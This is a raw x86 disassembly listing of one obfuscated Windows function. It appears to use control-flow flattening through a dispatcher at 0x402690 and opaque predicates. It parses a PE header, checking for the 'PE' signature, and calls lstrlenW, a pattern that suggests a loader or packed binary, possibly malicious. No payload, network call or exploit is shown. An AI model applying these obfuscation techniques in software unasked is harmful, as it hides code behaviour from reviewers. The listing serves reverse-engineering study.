mov eax, 0x3789f3f5
jmp 0x402690
mov eax, dword [ebp - 0x18c]
mov ecx, dword [ebp - 0x28]
inc eax
mov dword [ecx], eax
mov eax, 0x432c5eac
jmp 0x402690
mov eax, dword [ebp - 0x38]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x48]
mov ecx, dword [ecx]
lea ecx, [ecx + ecx*4]
push dword [eax + ecx*8 + 0x10]
push dword [ebp - 0x128]
push dword [ebp - 0x124]
vzeroupper
call fcn.0043d7b0
add esp, 0xc
mov eax, 0xf4ef4c1e
jmp 0x402690
mov eax, dword [0x4813d0]
mov edi, 0x3a28aa78
mov esi, 0xa712bc48
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xa712bc48
sete al
cmove ecx, edi
cmp dword [0x4813cc], 0xa
setl dl
cmovge ecx, esi
jmp 0x4064f4
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x34]
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, 0xba5661bb
jmp 0x402690
mov eax, 0x2d403c47
jmp 0x402690
cmp byte [ebp - 0x7d], 0
mov eax, 0x6ac8e1b4
mov ecx, 0x6edac56a
cmovne eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x40]
mov eax, 0xad49e84e
jmp 0x402690
mov eax, 0x221223e3
jmp 0x402690
cmp byte [ebp - 0x85], 0
mov eax, 0x2314f69e
mov ecx, 0x1b61e633
cmovne eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x24]
mov eax, 0x74a1a16a
jmp 0x402690
mov eax, 0x9095178b
jmp 0x402690
mov eax, dword [ebp - 0x98]
mov eax, dword [ebp - 0x3c]
mov eax, 0x5799ed13
jmp 0x402690
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x4813d0]
mov edi, 0xf3de3e10
mov ebx, 0x77226518
lea ecx, [eax + 1]
imul ecx, eax
mov eax, 0x77226518
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete cl
cmove eax, edi
cmp dword [0x4813cc], 0xa
setl dl
cmovge eax, ebx
xor dl, cl
cmovne eax, edi
jmp 0x402690
mov eax, 0xe4e675de
jmp 0x402690
mov eax, 0xefd6c1a0
jmp 0x402690
mov eax, dword [ebp - 0x9c]
mov eax, dword [eax]
add eax, 2
mov dword [ebp - 0x108], eax
mov eax, 0xe77f7f6e
jmp 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 0
mov eax, 0x70c9fcc2
jmp 0x402690
cmp byte [ebp - 0x87], 0
mov eax, 0xe6686ac
mov ecx, 0x765cff9a
cmovne eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x2c]
mov dword [eax], 7
mov eax, 0x52006b7d
jmp 0x402690
mov eax, 0x4b63fa9f
jmp 0x402690
mov eax, 0xe7a056c
jmp 0x402690
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x1bc], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax]
mov dword [ebp - 0x1c0], eax
mov eax, 0x600ec38a
jmp 0x402690
cmp dword [ebp - 0x154], 0
mov eax, 0x9b5dc3ed
setne byte [ebp - 0x7f]
jmp 0x402690
mov eax, dword [ebp - 0x28]
mov eax, 0x255b9d78
jmp 0x402690
mov eax, dword [ebp - 0x30]
mov edi, 0xa777933
mov dword [eax], 0
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
lea ecx, [edx + 1]
imul ecx, edx
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
sete dl
cmp eax, 0xa
setl dh
xor dh, dl
mov edx, 0x35f7d359
cmovne edx, edi
cmp ecx, 0xffffffff
mov ecx, edx
cmove ecx, edi
cmp eax, 0xa
cmovge ecx, edx
mov eax, ecx
jmp 0x402690
mov eax, 0xc36f92a9
jmp 0x402690
mov eax, 0x83769103
jmp 0x402690
mov eax, 0xad61ee8e
jmp 0x402690
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
mov eax, 0x326e4cd
jmp 0x402690
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x4813d0]
mov ebx, 0x88225834
mov edi, 0xd90b069
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0xd90b069
sete al
cmove ecx, ebx
cmp dword [0x4813cc], 0xa
setl dl
cmovge ecx, edi
xor dl, al
cmovne ecx, ebx
mov eax, ecx
jmp 0x402690
mov eax, 0xbd6de361
jmp 0x402690
mov eax, dword [ebp - 0x110]
mov eax, 0xbaafedf2
jmp 0x402690
mov eax, dword [ebp - 0x24]
mov eax, 0xb8cc281f
jmp 0x402690
mov eax, 0xd2e6b362
jmp 0x402690
mov eax, 0x8669039d
jmp 0x402690
mov eax, 0x5f55d7e
jmp 0x402690
mov edx, dword [0x4813d0]
mov eax, dword [0x4813cc]
mov edi, 0x6a65cd90
lea ecx, [edx + 1]
imul ecx, edx
mov edx, ecx
xor edx, 0xfffffffe
test edx, ecx
sete bl
cmp eax, 0xa
setl bh
xor bh, bl
mov ebx, 0x2ce5ae4e
cmovne edi, ebx
test edx, ecx
mov ecx, edi
cmove ecx, ebx
cmp eax, 0xa
cmovge ecx, edi
mov eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0x58]
mov edi, 0x49404c6a
mov ebx, 0x79ed2a69
mov dword [eax], 2
mov eax, dword [0x4813d0]
lea ecx, [eax + 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
mov ecx, 0x79ed2a69
sete al
cmove ecx, edi
cmp dword [0x4813cc], 0xa
setl dl
cmovge ecx, ebx
xor dl, al
cmovne ecx, edi
mov eax, ecx
jmp 0x402690
mov eax, dword [ebp - 0xd8]
mov eax, 0x5e6a71e9
jmp 0x402690
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, dword [ebp - 0x68]
mov eax, 0xa8231c72
jmp 0x402690
mov eax, dword [ebp - 0xa8]
mov ecx, dword [ebp - 0x70]
mov ecx, dword [ecx]
mov dword [ecx + 4], eax
push dword [ebp - 0xa8]
vzeroupper
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov ecx, dword [ebp - 0x70]
add eax, eax
mov ecx, dword [ecx]
mov word [ecx], ax
mov eax, 0xb6e81509
jmp 0x402690
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0x34]
mov edi, 0x783102a8
mov dword [ecx], eax
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
mov dword [ecx], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x34]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x74]
mov ecx, dword [ecx]
add eax, dword [ecx + 0x3c]
mov ecx, dword [ebp - 0x20]
mov dword [ecx], eax
mov edx, dword [0x4813d0]
mov ecx, dword [0x4813cc]
lea eax, [edx + 1]
imul eax, edx
not eax
or eax, 0xfffffffe
cmp eax, 0xffffffff
sete dl
cmp ecx, 0xa
setl dh
xor dh, dl
mov edx, 0x4c15ec14
cmovne edx, edi
cmp eax, 0xffffffff
mov eax, edx
cmove eax, edi
cmp ecx, 0xa
mov ecx, dword [ebp - 0x20]
cmovge eax, edx
mov ecx, dword [ecx]
cmp dword [ecx], 0x4550
setne byte [ebp - 0x7b]
jmp 0x402690
cmp eax, 0x21557acc
jne 0x402690
mov eax, dword [ebp - 0x5c]
mov eax, dword [ebp - 0xd4]
mov esi, dword [eax]
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
vzeroupper
call fcn.0043a930
mov eax, esi
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret